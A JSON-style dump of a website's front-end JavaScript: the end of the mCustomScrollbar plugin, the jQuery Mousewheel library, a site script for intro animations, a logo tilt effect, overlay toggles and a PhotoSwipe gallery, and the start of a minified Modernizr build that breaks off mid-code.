o.callbacks.onTotalScroll.call(el[0]);}\n\t\t\t\t\t\t\tif(_cb(\"onTotalScrollBack\") && scrollTo[1]<=totalScrollBackOffset && d.cbOffsets[1]){_mcs(); o.callbacks.onTotalScrollBack.call(el[0]);}\n\t\t\t\t\t\t\td.tweenRunning=false;\n\t\t\t\t\t\t\tmCSB_container[0].idleTimer=0;\n\t\t\t\t\t\t\t_onDragClasses(mCSB_dragger,\"hide\");\n\t\t\t\t\t\t},t);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t\t/* checks if callback function exists */\n\t\t\tfunction _cb(cb){\n\t\t\t\treturn d && o.callbacks[cb] && typeof o.callbacks[cb]===\"function\";\n\t\t\t}\n\t\t\t/* checks whether callback offsets always trigger */\n\t\t\tfunction _cbOffsets(){\n\t\t\t\treturn [o.callbacks.alwaysTriggerOffsets || contentPos>=limit[0]+tso,o.callbacks.alwaysTriggerOffsets || contentPos<=-tsbo];\n\t\t\t}\n\t\t\t/* \n\t\t\tpopulates object with useful values for the user \n\t\t\tvalues: \n\t\t\t\tcontent: this.mcs.content\n\t\t\t\tcontent top position: this.mcs.top \n\t\t\t\tcontent left position: this.mcs.left \n\t\t\t\tdragger top position: this.mcs.draggerTop \n\t\t\t\tdragger left position: this.mcs.draggerLeft \n\t\t\t\tscrolling y percentage: this.mcs.topPct \n\t\t\t\tscrolling x percentage: this.mcs.leftPct \n\t\t\t\tscrolling direction: this.mcs.direction\n\t\t\t*/\n\t\t\tfunction _mcs(){\n\t\t\t\tvar cp=[mCSB_container[0].offsetTop,mCSB_container[0].offsetLeft], /* content position */\n\t\t\t\t\tdp=[mCSB_dragger[0].offsetTop,mCSB_dragger[0].offsetLeft], /* dragger position */\n\t\t\t\t\tcl=[mCSB_container.outerHeight(false),mCSB_container.outerWidth(false)], /* content length */\n\t\t\t\t\tpl=[mCustomScrollBox.height(),mCustomScrollBox.width()]; /* content parent length */\n\t\t\t\tel[0].mcs={\n\t\t\t\t\tcontent:mCSB_container, /* original content wrapper as jquery object */\n\t\t\t\t\ttop:cp[0],left:cp[1],draggerTop:dp[0],draggerLeft:dp[1],\n\t\t\t\t\ttopPct:Math.round((100*Math.abs(cp[0]))/(Math.abs(cl[0])-pl[0])),leftPct:Math.round((100*Math.abs(cp[1]))/(Math.abs(cl[1])-pl[1])),\n\t\t\t\t\tdirection:options.dir\n\t\t\t\t};\n\t\t\t\t/* \n\t\t\t\tthis refers to the original element containing the scrollbar(s)\n\t\t\t\tusage: this.mcs.top, this.mcs.leftPct etc. \n\t\t\t\t*/\n\t\t\t}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* \n\t\tCUSTOM JAVASCRIPT ANIMATION TWEEN \n\t\tLighter and faster than jquery animate() and css transitions \n\t\tAnimates top/left properties and includes easings \n\t\t*/\n\t\t_tweenTo=function(el,prop,to,duration,easing,overwrite,callbacks){\n\t\t\tif(!el._mTween){el._mTween={top:{},left:{}};}\n\t\t\tvar callbacks=callbacks || {},\n\t\t\t\tonStart=callbacks.onStart || function(){},onUpdate=callbacks.onUpdate || function(){},onComplete=callbacks.onComplete || function(){},\n\t\t\t\tstartTime=_getTime(),_delay,progress=0,from=el.offsetTop,elStyle=el.style,_request,tobj=el._mTween[prop];\n\t\t\tif(prop===\"left\"){from=el.offsetLeft;}\n\t\t\tvar diff=to-from;\n\t\t\ttobj.stop=0;\n\t\t\tif(overwrite!==\"none\"){_cancelTween();}\n\t\t\t_startTween();\n\t\t\tfunction _step(){\n\t\t\t\tif(tobj.stop){return;}\n\t\t\t\tif(!progress){onStart.call();}\n\t\t\t\tprogress=_getTime()-startTime;\n\t\t\t\t_tween();\n\t\t\t\tif(progress>=tobj.time){\n\t\t\t\t\ttobj.time=(progress>tobj.time) ? progress+_delay-(progress-tobj.time) : progress+_delay-1;\n\t\t\t\t\tif(tobj.time<progress+1){tobj.time=progress+1;}\n\t\t\t\t}\n\t\t\t\tif(tobj.time<duration){tobj.id=_request(_step);}else{onComplete.call();}\n\t\t\t}\n\t\t\tfunction _tween(){\n\t\t\t\tif(duration>0){\n\t\t\t\t\ttobj.currVal=_ease(tobj.time,from,diff,duration,easing);\n\t\t\t\t\telStyle[prop]=Math.round(tobj.currVal)+\"px\";\n\t\t\t\t}else{\n\t\t\t\t\telStyle[prop]=to+\"px\";\n\t\t\t\t}\n\t\t\t\tonUpdate.call();\n\t\t\t}\n\t\t\tfunction _startTween(){\n\t\t\t\t_delay=1000/60;\n\t\t\t\ttobj.time=progress+_delay;\n\t\t\t\t_request=(!window.requestAnimationFrame) ? function(f){_tween(); return setTimeout(f,0.01);} : window.requestAnimationFrame;\n\t\t\t\ttobj.id=_request(_step);\n\t\t\t}\n\t\t\tfunction _cancelTween(){\n\t\t\t\tif(tobj.id==null){return;}\n\t\t\t\tif(!window.requestAnimationFrame){clearTimeout(tobj.id);\n\t\t\t\t}else{window.cancelAnimationFrame(tobj.id);}\n\t\t\t\ttobj.id=null;\n\t\t\t}\n\t\t\tfunction _ease(t,b,c,d,type){\n\t\t\t\tswitch(type){\n\t\t\t\t\tcase \"linear\": case \"mcsLinear\":\n\t\t\t\t\t\treturn c*t/d + b;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"mcsLinearOut\":\n\t\t\t\t\t\tt/=d; t--; return c * Math.sqrt(1 - t*t) + b;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"easeInOutSmooth\":\n\t\t\t\t\t\tt/=d/2;\n\t\t\t\t\t\tif(t<1) return c/2*t*t + b;\n\t\t\t\t\t\tt--;\n\t\t\t\t\t\treturn -c/2 * (t*(t-2) - 1) + b;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"easeInOutStrong\":\n\t\t\t\t\t\tt/=d/2;\n\t\t\t\t\t\tif(t<1) return c/2 * Math.pow( 2, 10 * (t - 1) ) + b;\n\t\t\t\t\t\tt--;\n\t\t\t\t\t\treturn c/2 * ( -Math.pow( 2, -10 * t) + 2 ) + b;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"easeInOut\": case \"mcsEaseInOut\":\n\t\t\t\t\t\tt/=d/2;\n\t\t\t\t\t\tif(t<1) return c/2*t*t*t + b;\n\t\t\t\t\t\tt-=2;\n\t\t\t\t\t\treturn c/2*(t*t*t + 2) + b;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"easeOutSmooth\":\n\t\t\t\t\t\tt/=d; t--;\n\t\t\t\t\t\treturn -c * (t*t*t*t - 1) + b;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"easeOutStrong\":\n\t\t\t\t\t\treturn c * ( -Math.pow( 2, -10 * t/d ) + 1 ) + b;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"easeOut\": case \"mcsEaseOut\": default:\n\t\t\t\t\t\tvar ts=(t/=d)*t,tc=ts*t;\n\t\t\t\t\t\treturn b+c*(0.499999999999997*tc*ts + -2.5*ts*ts + 5.5*tc + -6.5*ts + 4*t);\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* returns current time */\n\t\t_getTime=function(){\n\t\t\tif(window.performance && window.performance.now){\n\t\t\t\treturn window.performance.now();\n\t\t\t}else{\n\t\t\t\tif(window.performance && window.performance.webkitNow){\n\t\t\t\t\treturn window.performance.webkitNow();\n\t\t\t\t}else{\n\t\t\t\t\tif(Date.now){return Date.now();}else{return new Date().getTime();}\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* stops a tween */\n\t\t_stopTween=function(){\n\t\t\tvar el=this;\n\t\t\tif(!el._mTween){el._mTween={top:{},left:{}};}\n\t\t\tvar props=[\"top\",\"left\"];\n\t\t\tfor(var i=0; i<props.length; i++){\n\t\t\t\tvar prop=props[i];\n\t\t\t\tif(el._mTween[prop].id){\n\t\t\t\t\tif(!window.requestAnimationFrame){clearTimeout(el._mTween[prop].id);\n\t\t\t\t\t}else{window.cancelAnimationFrame(el._mTween[prop].id);}\n\t\t\t\t\tel._mTween[prop].id=null;\n\t\t\t\t\tel._mTween[prop].stop=1;\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* deletes a property (avoiding the exception thrown by IE) */\n\t\t_delete=function(c,m){\n\t\t\ttry{delete c[m];}catch(e){c[m]=null;}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* detects left mouse button */\n\t\t_mouseBtnLeft=function(e){\n\t\t\treturn !(e.which && e.which!==1);\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* detects if pointer type event is touch */\n\t\t_pointerTouch=function(e){\n\t\t\tvar t=e.originalEvent.pointerType;\n\t\t\treturn !(t && t!==\"touch\" && t!==2);\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* checks if value is numeric */\n\t\t_isNumeric=function(val){\n\t\t\treturn !isNaN(parseFloat(val)) && isFinite(val);\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* returns element position according to content */\n\t\t_childPos=function(el){\n\t\t\tvar p=el.parents(\".mCSB_container\");\n\t\t\treturn [el.offset().top-p.offset().top,el.offset().left-p.offset().left];\n\t\t};\n\t\t/* -------------------- */\n\t\t\n\t\n\t\n\t\n\t\n\t/* \n\t----------------------------------------\n\tPLUGIN SETUP \n\t----------------------------------------\n\t*/\n\t\n\t/* plugin constructor functions */\n\t$.fn[pluginNS]=function(method){ /* usage: $(selector).mCustomScrollbar(); */\n\t\tif(methods[method]){\n\t\t\treturn methods[method].apply(this,Array.prototype.slice.call(arguments,1));\n\t\t}else if(typeof method===\"object\" || !method){\n\t\t\treturn methods.init.apply(this,arguments);\n\t\t}else{\n\t\t\t$.error(\"Method \"+method+\" does not exist\");\n\t\t}\n\t};\n\t$[pluginNS]=function(method){ /* usage: $.mCustomScrollbar(); */\n\t\tif(methods[method]){\n\t\t\treturn methods[method].apply(this,Array.prototype.slice.call(arguments,1));\n\t\t}else if(typeof method===\"object\" || !method){\n\t\t\treturn methods.init.apply(this,arguments);\n\t\t}else{\n\t\t\t$.error(\"Method \"+method+\" does not exist\");\n\t\t}\n\t};\n\t\n\t/* \n\tallow setting plugin default options. \n\tusage: $.mCustomScrollbar.defaults.scrollInertia=500; \n\tto apply any changed default options on default selectors (below), use inside document ready fn \n\te.g.: $(document).ready(function(){ $.mCustomScrollbar.defaults.scrollInertia=500; });\n\t*/\n\t$[pluginNS].defaults=defaults;\n\t\n\t/* \n\tadd window object (window.mCustomScrollbar) \n\tusage: if(window.mCustomScrollbar){console.log(\"custom scrollbar plugin loaded\");}\n\t*/\n\twindow[pluginNS]=true;\n\t\n\t$(window).load(function(){\n\t\t\n\t\t$(defaultSelector)[pluginNS](); /* add scrollbars automatically on default selector */\n\t\t\n\t\t/* extend jQuery expressions */\n\t\t$.extend($.expr[\":\"],{\n\t\t\t/* checks if element is within scrollable viewport */\n\t\t\tmcsInView:$.expr[\":\"].mcsInView || function(el){\n\t\t\t\tvar $el=$(el),content=$el.parents(\".mCSB_container\"),wrapper,cPos;\n\t\t\t\tif(!content.length){return;}\n\t\t\t\twrapper=content.parent();\n\t\t\t\tcPos=[content[0].offsetTop,content[0].offsetLeft];\n\t\t\t\treturn \tcPos[0]+_childPos($el)[0]>=0 && cPos[0]+_childPos($el)[0]<wrapper.height()-$el.outerHeight(false) && \n\t\t\t\t\t\tcPos[1]+_childPos($el)[1]>=0 && cPos[1]+_childPos($el)[1]<wrapper.width()-$el.outerWidth(false);\n\t\t\t},\n\t\t\t/* checks if element is overflowed having visible scrollbar(s) */\n\t\t\tmcsOverflow:$.expr[\":\"].mcsOverflow || function(el){\n\t\t\t\tvar d=$(el).data(pluginPfx);\n\t\t\t\tif(!d){return;}\n\t\t\t\treturn d.overflowed[0] || d.overflowed[1];\n\t\t\t}\n\t\t});\n\t\n\t});\n\n}))}));"
  },
  {
    "path": "mov/js/jquery.mousewheel.js",
    "content": "/*!\n * jQuery Mousewheel 3.1.13\n *\n * Copyright jQuery Foundation and other contributors\n * Released under the MIT license\n * http://jquery.org/license\n */\n\n(function (factory) {\n    if ( typeof define === 'function' && define.amd ) {\n        // AMD. Register as an anonymous module.\n        define(['jquery'], factory);\n    } else if (typeof exports === 'object') {\n        // Node/CommonJS style for Browserify\n        module.exports = factory;\n    } else {\n        // Browser globals\n        factory(jQuery);\n    }\n}(function ($) {\n\n    var toFix  = ['wheel', 'mousewheel', 'DOMMouseScroll', 'MozMousePixelScroll'],\n        toBind = ( 'onwheel' in document || document.documentMode >= 9 ) ?\n                    ['wheel'] : ['mousewheel', 'DomMouseScroll', 'MozMousePixelScroll'],\n        slice  = Array.prototype.slice,\n        nullLowestDeltaTimeout, lowestDelta;\n\n    if ( $.event.fixHooks ) {\n        for ( var i = toFix.length; i; ) {\n            $.event.fixHooks[ toFix[--i] ] = $.event.mouseHooks;\n        }\n    }\n\n    var special = $.event.special.mousewheel = {\n        version: '3.1.12',\n\n        setup: function() {\n            if ( this.addEventListener ) {\n                for ( var i = toBind.length; i; ) {\n                    this.addEventListener( toBind[--i], handler, false );\n                }\n            } else {\n                this.onmousewheel = handler;\n            }\n            // Store the line height and page height for this particular element\n            $.data(this, 'mousewheel-line-height', special.getLineHeight(this));\n            $.data(this, 'mousewheel-page-height', special.getPageHeight(this));\n        },\n\n        teardown: function() {\n            if ( this.removeEventListener ) {\n                for ( var i = toBind.length; i; ) {\n                    this.removeEventListener( toBind[--i], handler, false );\n                }\n            } else {\n                this.onmousewheel = null;\n            }\n            // Clean up the data we added to the element\n            $.removeData(this, 'mousewheel-line-height');\n            $.removeData(this, 'mousewheel-page-height');\n        },\n\n        getLineHeight: function(elem) {\n            var $elem = $(elem),\n                $parent = $elem['offsetParent' in $.fn ? 'offsetParent' : 'parent']();\n            if (!$parent.length) {\n                $parent = $('body');\n            }\n            return parseInt($parent.css('fontSize'), 10) || parseInt($elem.css('fontSize'), 10) || 16;\n        },\n\n        getPageHeight: function(elem) {\n            return $(elem).height();\n        },\n\n        settings: {\n            adjustOldDeltas: true, // see shouldAdjustOldDeltas() below\n            normalizeOffset: true  // calls getBoundingClientRect for each event\n        }\n    };\n\n    $.fn.extend({\n        mousewheel: function(fn) {\n            return fn ? this.bind('mousewheel', fn) : this.trigger('mousewheel');\n        },\n\n        unmousewheel: function(fn) {\n            return this.unbind('mousewheel', fn);\n        }\n    });\n\n\n    function handler(event) {\n        var orgEvent   = event || window.event,\n            args       = slice.call(arguments, 1),\n            delta      = 0,\n            deltaX     = 0,\n            deltaY     = 0,\n            absDelta   = 0,\n            offsetX    = 0,\n            offsetY    = 0;\n        event = $.event.fix(orgEvent);\n        event.type = 'mousewheel';\n\n        // Old school scrollwheel delta\n        if ( 'detail'      in orgEvent ) { deltaY = orgEvent.detail * -1;      }\n        if ( 'wheelDelta'  in orgEvent ) { deltaY = orgEvent.wheelDelta;       }\n        if ( 'wheelDeltaY' in orgEvent ) { deltaY = orgEvent.wheelDeltaY;      }\n        if ( 'wheelDeltaX' in orgEvent ) { deltaX = orgEvent.wheelDeltaX * -1; }\n\n        // Firefox < 17 horizontal scrolling related to DOMMouseScroll event\n        if ( 'axis' in orgEvent && orgEvent.axis === orgEvent.HORIZONTAL_AXIS ) {\n            deltaX = deltaY * -1;\n            deltaY = 0;\n        }\n\n        // Set delta to be deltaY or deltaX if deltaY is 0 for backwards compatabilitiy\n        delta = deltaY === 0 ? deltaX : deltaY;\n\n        // New school wheel delta (wheel event)\n        if ( 'deltaY' in orgEvent ) {\n            deltaY = orgEvent.deltaY * -1;\n            delta  = deltaY;\n        }\n        if ( 'deltaX' in orgEvent ) {\n            deltaX = orgEvent.deltaX;\n            if ( deltaY === 0 ) { delta  = deltaX * -1; }\n        }\n\n        // No change actually happened, no reason to go any further\n        if ( deltaY === 0 && deltaX === 0 ) { return; }\n\n        // Need to convert lines and pages to pixels if we aren't already in pixels\n        // There are three delta modes:\n        //   * deltaMode 0 is by pixels, nothing to do\n        //   * deltaMode 1 is by lines\n        //   * deltaMode 2 is by pages\n        if ( orgEvent.deltaMode === 1 ) {\n            var lineHeight = $.data(this, 'mousewheel-line-height');\n            delta  *= lineHeight;\n            deltaY *= lineHeight;\n            deltaX *= lineHeight;\n        } else if ( orgEvent.deltaMode === 2 ) {\n            var pageHeight = $.data(this, 'mousewheel-page-height');\n            delta  *= pageHeight;\n            deltaY *= pageHeight;\n            deltaX *= pageHeight;\n        }\n\n        // Store lowest absolute delta to normalize the delta values\n        absDelta = Math.max( Math.abs(deltaY), Math.abs(deltaX) );\n\n        if ( !lowestDelta || absDelta < lowestDelta ) {\n            lowestDelta = absDelta;\n\n            // Adjust older deltas if necessary\n            if ( shouldAdjustOldDeltas(orgEvent, absDelta) ) {\n                lowestDelta /= 40;\n            }\n        }\n\n        // Adjust older deltas if necessary\n        if ( shouldAdjustOldDeltas(orgEvent, absDelta) ) {\n            // Divide all the things by 40!\n            delta  /= 40;\n            deltaX /= 40;\n            deltaY /= 40;\n        }\n\n        // Get a whole, normalized value for the deltas\n        delta  = Math[ delta  >= 1 ? 'floor' : 'ceil' ](delta  / lowestDelta);\n        deltaX = Math[ deltaX >= 1 ? 'floor' : 'ceil' ](deltaX / lowestDelta);\n        deltaY = Math[ deltaY >= 1 ? 'floor' : 'ceil' ](deltaY / lowestDelta);\n\n        // Normalise offsetX and offsetY properties\n        if ( special.settings.normalizeOffset && this.getBoundingClientRect ) {\n            var boundingRect = this.getBoundingClientRect();\n            offsetX = event.clientX - boundingRect.left;\n            offsetY = event.clientY - boundingRect.top;\n        }\n\n        // Add information to the event object\n        event.deltaX = deltaX;\n        event.deltaY = deltaY;\n        event.deltaFactor = lowestDelta;\n        event.offsetX = offsetX;\n        event.offsetY = offsetY;\n        // Go ahead and set deltaMode to 0 since we converted to pixels\n        // Although this is a little odd since we overwrite the deltaX/Y\n        // properties with normalized deltas.\n        event.deltaMode = 0;\n\n        // Add event and delta to the front of the arguments\n        args.unshift(event, delta, deltaX, deltaY);\n\n        // Clearout lowestDelta after sometime to better\n        // handle multiple device types that give different\n        // a different lowestDelta\n        // Ex: trackpad = 3 and mouse wheel = 120\n        if (nullLowestDeltaTimeout) { clearTimeout(nullLowestDeltaTimeout); }\n        nullLowestDeltaTimeout = setTimeout(nullLowestDelta, 200);\n\n        return ($.event.dispatch || $.event.handle).apply(this, args);\n    }\n\n    function nullLowestDelta() {\n        lowestDelta = null;\n    }\n\n    function shouldAdjustOldDeltas(orgEvent, absDelta) {\n        // If this is an older event and the delta is divisable by 120,\n        // then we are assuming that the browser is treating this as an\n        // older mouse wheel event and that we should divide the deltas\n        // by 40 to try and get a more usable deltaFactor.\n        // Side note, this actually impacts the reported scroll distance\n        // in older browsers and can cause scrolling to be slower than native.\n        // Turn this off by setting $.event.special.mousewheel.settings.adjustOldDeltas to false.\n        return special.settings.adjustOldDeltas && orgEvent.type === 'mousewheel' && absDelta % 120 === 0;\n    }\n\n}));\n"
  },
  {
    "path": "mov/js/main.js",
    "content": "if (window.location.hostname !== \"\") {\n    history.pushState(null, null, \"/mov\");\n}\n\nsetInterval(() => {\n    console.clear();\n    console.log(\"%cWhat are you looking here?\", \"background-color: red; color: white; font-size: 25px;\");\n}, 450);\n\n$(window).load(function() {\n    \"use strict\";\n\n    setTimeout(function() {\n        $('#preloader').velocity({\n\n            opacity: \"0\",\n\n            complete: function() {\n                $(\"#loading\").velocity(\"fadeOut\", {\n                    duration: 1000,\n                    easing: [0.7, 0, 0.3, 1],\n                });\n            }\n        })\n\n    }, 1000);\n\n    setTimeout(function() {\n        $('.global-overlay').velocity({\n\n                translateX: \"50%\",\n                opacity: \"1\"\n\n            },\n\n            {\n                duration: 1000,\n                easing: [0.7, 0, 0.3, 1],\n            })\n\n        $(\".map-container\").addClass(\"fadeInRight\").removeClass('opacity-0');\n\n    }, 1000);\n\n    setTimeout(function() {\n        $('#left-side').velocity({\n\n                opacity: \"1\",\n\n                complete: function() {\n\n                    setTimeout(function() {\n                        $('.text-intro').each(function(i) {\n                            (function(self) {\n                                setTimeout(function() {\n                                    $(self).addClass('animated-middle fadeInUp').removeClass('opacity-0');\n                                }, (i * 150) + 150);\n                            })(this);\n                        });\n                    }, 0);\n                }\n\n            },\n\n            {\n                duration: 1000,\n                easing: [0.7, 0, 0.3, 1],\n            })\n\n    }, 1600);\n\n    // Logo appears after text — offset matches last text-intro animation\n    setTimeout(function() {\n        var logo = document.querySelector('.brand-logo');\n        if (logo) logo.classList.add('brand-logo--visible');\n    }, 3500);\n\n})\n\n$(document).ready(function() {\n    \"use strict\";\n\n    /* ------------------------------------- */\n    /* Logo cursor tilt (desktop only) ....... */\n    /* ------------------------------------- */\n\n    (function() {\n        var logo = document.querySelector('.brand-logo');\n        if (!logo) return;\n        if (window.matchMedia('(max-width: 1024px)').matches) return;\n\n        var targetX = 0, targetY = 0;\n        var currentX = 0, currentY = 0;\n\n        document.addEventListener('mousemove', function(e) {\n            var cx = window.innerWidth / 2;\n            var cy = window.innerHeight / 2;\n            targetX = (e.clientX - cx) / cx;\n            targetY = (e.clientY - cy) / cy;\n        });\n\n        (function tick() {\n            currentX += (targetX - currentX) * 0.06;\n            currentY += (targetY - currentY) * 0.06;\n\n            var moveX  = currentX * 18;\n            var moveY  = currentY * 12;\n            var rotY   = currentX * 14;\n            var rotX   = -currentY * 9;\n\n            logo.style.transform =\n                'translateY(-50%)' +\n                ' translateX(' + moveX + 'px)' +\n                ' translateY(' + moveY + 'px)' +\n                ' perspective(700px)' +\n                ' rotateX(' + rotX + 'deg)' +\n                ' rotateY(' + rotY + 'deg)';\n\n            requestAnimationFrame(tick);\n        })();\n    })();\n\n    /* ------------------------------------- */\n    /* 2. Action Buttons ................... */\n    /* ------------------------------------- */\n\n    $('a#open-more-info').on(\"click\", function() {\n        $(\".overlay\").toggleClass(\"skew-part\");\n        $(\"#right-side\").toggleClass(\"hide-right\");\n        $(\"#close-more-info\").toggleClass(\"hide-close\");\n        $('.mCSB_scrollTools').toggleClass('mCSB_scrollTools-left');\n        setTimeout(function() {\n            $(\"#mcs_container\").mCustomScrollbar(\"scrollTo\", \"#right-side\", {\n                scrollInertia: 500,\n                callbacks: false\n            });\n        }, 350);\n    });\n\n    $('button#close-more-info').on(\"click\", function() {\n        $(\".overlay\").addClass(\"skew-part\");\n        $(\"#right-side\").addClass(\"hide-right\");\n        $(\"#close-more-info\").addClass(\"hide-close\");\n        $('.mCSB_scrollTools').removeClass('mCSB_scrollTools-left');\n        setTimeout(function() {\n            $(\"#mcs_container\").mCustomScrollbar(\"scrollTo\", \"#right-side\", {\n                scrollInertia: 500,\n                callbacks: false\n            });\n        }, 350);\n    });\n\n    // Youtube Variant\n\n    $('.expand-player').on(\"click\", function() {\n\n        $('#left-side').velocity({\n\n            opacity: \"0\",\n\n            complete: function() {\n                $('.global-overlay').velocity({\n\n                        translateX: \"-100%\",\n                        opacity: \"0\",\n\n                    },\n\n                    {\n                        duration: 1000,\n                        easing: [0.7, 0, 0.3, 1],\n                        delay: 500,\n                    })\n            }\n        })\n    });\n\n    $('.compress-player').on(\"click\", function() {\n\n        $('.global-overlay').velocity({\n\n                translateX: \"100%\",\n                opacity: \"1\",\n\n            },\n\n            {\n                duration: 1000,\n                easing: [0.7, 0, 0.3, 1],\n                delay: 0,\n\n                complete: function() {\n\n                    $('#left-side').velocity({\n\n                        opacity: \"1\",\n\n                    })\n\n                }\n            })\n    });\n\n    /* ------------------------------------- */\n    /* 3. Scroll plugins ................... */\n    /* ------------------------------------- */\n\n    var ifTouchDevices = navigator.userAgent.match(/(iPhone|iPod|iPad|Android|BlackBerry|Windows Phone)/);\n\n    // ScrollBar on Desktop, not on Touch devices for a perfect ergonomy\n    function scrollbar() {\n\n        if (ifTouchDevices) {\n            $('body').addClass('scroll-touch');\n\n        } else {\n            $('body').mCustomScrollbar({\n                scrollInertia: 150,\n                axis: \"y\"\n            });\n        }\n    }\n\n    scrollbar();\n\n    var initPhotoSwipeFromDOM = function(gallerySelector) {\n        var parseThumbnailElements = function(el) {\n            var thumbElements = el.childNodes,\n                numNodes = thumbElements.length,\n                items = [],\n                figureEl,\n                linkEl,\n                size,\n                item;\n\n            for (var i = 0; i < numNodes; i++) {\n\n                figureEl = thumbElements[i];\n\n                if (figureEl.nodeType !== 1) {\n                    continue;\n                }\n\n                linkEl = figureEl.children[0];\n\n                size = linkEl.getAttribute('data-size').split('x');\n\n                item = {\n                    src: linkEl.getAttribute('href'),\n                    w: parseInt(size[0], 10),\n                    h: parseInt(size[1], 10)\n                };\n\n\n\n                if (figureEl.children.length > 1) {\n                    item.title = figureEl.children[1].innerHTML;\n                }\n\n                if (linkEl.children.length > 0) {\n                    item.msrc = linkEl.children[0].getAttribute('src');\n                }\n\n                item.el = figureEl;\n                items.push(item);\n            }\n\n            return items;\n        };\n\n        var closest = function closest(el, fn) {\n            return el && (fn(el) ? el : closest(el.parentNode, fn));\n        };\n\n        var onThumbnailsClick = function(e) {\n            e = e || window.event;\n            e.preventDefault ? e.preventDefault() : e.returnValue = false;\n\n            var eTarget = e.target || e.srcElement;\n\n            var clickedListItem = closest(eTarget, function(el) {\n                return (el.tagName && el.tagName.toUpperCase() === 'FIGURE');\n            });\n\n            if (!clickedListItem) {\n                return;\n            }\n\n            var clickedGallery = clickedListItem.parentNode,\n                childNodes = clickedListItem.parentNode.childNodes,\n                numChildNodes = childNodes.length,\n                nodeIndex = 0,\n                index;\n\n            for (var i = 0; i < numChildNodes; i++) {\n                if (childNodes[i].nodeType !== 1) {\n                    continue;\n                }\n\n                if (childNodes[i] === clickedListItem) {\n                    index = nodeIndex;\n                    break;\n                }\n                nodeIndex++;\n            }\n\n\n\n            if (index >= 0) {\n                openPhotoSwipe(index, clickedGallery);\n            }\n            return false;\n        };\n\n        var photoswipeParseHash = function() {\n            var hash = window.location.hash.substring(1),\n                params = {};\n\n            if (hash.length < 5) {\n                return params;\n            }\n\n            var vars = hash.split('&');\n            for (var i = 0; i < vars.length; i++) {\n                if (!vars[i]) {\n                    continue;\n                }\n                var pair = vars[i].split('=');\n                if (pair.length < 2) {\n                    continue;\n                }\n                params[pair[0]] = pair[1];\n            }\n\n            if (params.gid) {\n                params.gid = parseInt(params.gid, 10);\n            }\n\n            return params;\n        };\n\n        var openPhotoSwipe = function(index, galleryElement, disableAnimation, fromURL) {\n            var pswpElement = document.querySelectorAll('.pswp')[0],\n                gallery,\n                options,\n                items;\n\n            items = parseThumbnailElements(galleryElement);\n\n            options = {\n\n                galleryUID: galleryElement.getAttribute('data-pswp-uid'),\n\n                getThumbBoundsFn: function(index) {\n                    var thumbnail = items[index].el.getElementsByTagName('img')[0], // find thumbnail\n                        pageYScroll = window.pageYOffset || document.documentElement.scrollTop,\n                        rect = thumbnail.getBoundingClientRect();\n\n                    return { x: rect.left, y: rect.top + pageYScroll, w: rect.width };\n                }\n\n            };\n\n            if (fromURL) {\n                if (options.galleryPIDs) {\n                    for (var j = 0; j < items.length; j++) {\n                        if (items[j].pid === index) {\n                            options.index = j;\n                            break;\n                        }\n                    }\n                } else {\n                    options.index = parseInt(index, 10) - 1;\n                }\n            } else {\n                options.index = parseInt(index, 10);\n            }\n\n            if (isNaN(options.index)) {\n                return;\n            }\n\n            if (disableAnimation) {\n                options.showAnimationDuration = 0;\n            }\n\n            gallery = new PhotoSwipe(pswpElement, PhotoSwipeUI_Default, items, options);\n            gallery.init();\n        };\n\n        var galleryElements = document.querySelectorAll(gallerySelector);\n\n        for (var i = 0, l = galleryElements.length; i < l; i++) {\n            galleryElements[i].setAttribute('data-pswp-uid', i + 1);\n            galleryElements[i].onclick = onThumbnailsClick;\n        }\n\n        var hashData = photoswipeParseHash();\n        if (hashData.pid && hashData.gid) {\n            openPhotoSwipe(hashData.pid, galleryElements[hashData.gid - 1], true, true);\n        }\n    };\n\n    initPhotoSwipeFromDOM('.my-gallery');\n\n});"
  },
  {
    "path": "mov/js/modernizr.custom.js",
    "content": "/* Modernizr 2.8.3 (Custom Build) | MIT & BSD\n * Build: http://modernizr.com/download/#-cssanimations-shiv-cssclasses-prefixed-testprop-testallprops-domprefixes-load\n */\n;window.Modernizr=function(a,b,c){function x(a){j.cssText=a}function y(a,b){return x(prefixes.join(a+\";\")+(b||\"\"))}function z(a,b){return typeof a===b}function A(a,b){return!!~(\"\"+a).indexOf(b)}function B(a,b){for(var d in a){var e=a[d];if(!A(e,\"-\")&&j[e]!==c)return b==\"pfx\"?e:!0}return!1}function C(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:z(f,\"function\")?f.bind(d||b):f}return!1}function D(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+\" \"+n.join(d+\" \")+d).split(\" \");return z(b,\"string\")||z(b,\"undefined\")?B(e,b):(e=(a+\" \"+o.join(d+\" \")+d).split(\" \"),C(e,b,c))}var d=\"2.8.3\",e={},f=!0,g=b.documentElement,h=\"modernizr\",i=b.createElement(h),j=i.style,k,l={}.toString,m=\"Webkit Moz O ms\",n=m.split(\" \"),o=m.toLowerCase().split(\" \"),p={},q={},r={},s=[],t=s.slice,u,v={}.hasOwnProperty,w;!z(v,\"undefined\")&&!z(v.call,\"undefined\")?w=function(a,b){return v.call(a,b)}:w=function(a,b){return b in a&&z(a.constructor.prototype[b],\"undefined\")},Function.prototype.bind||(Function.prototype.bind=function(b){var c=this;if(typeof c!=\"function\")throw new TypeError;var d=t.call(arguments,1),e=function(){if(this instanceof e){var 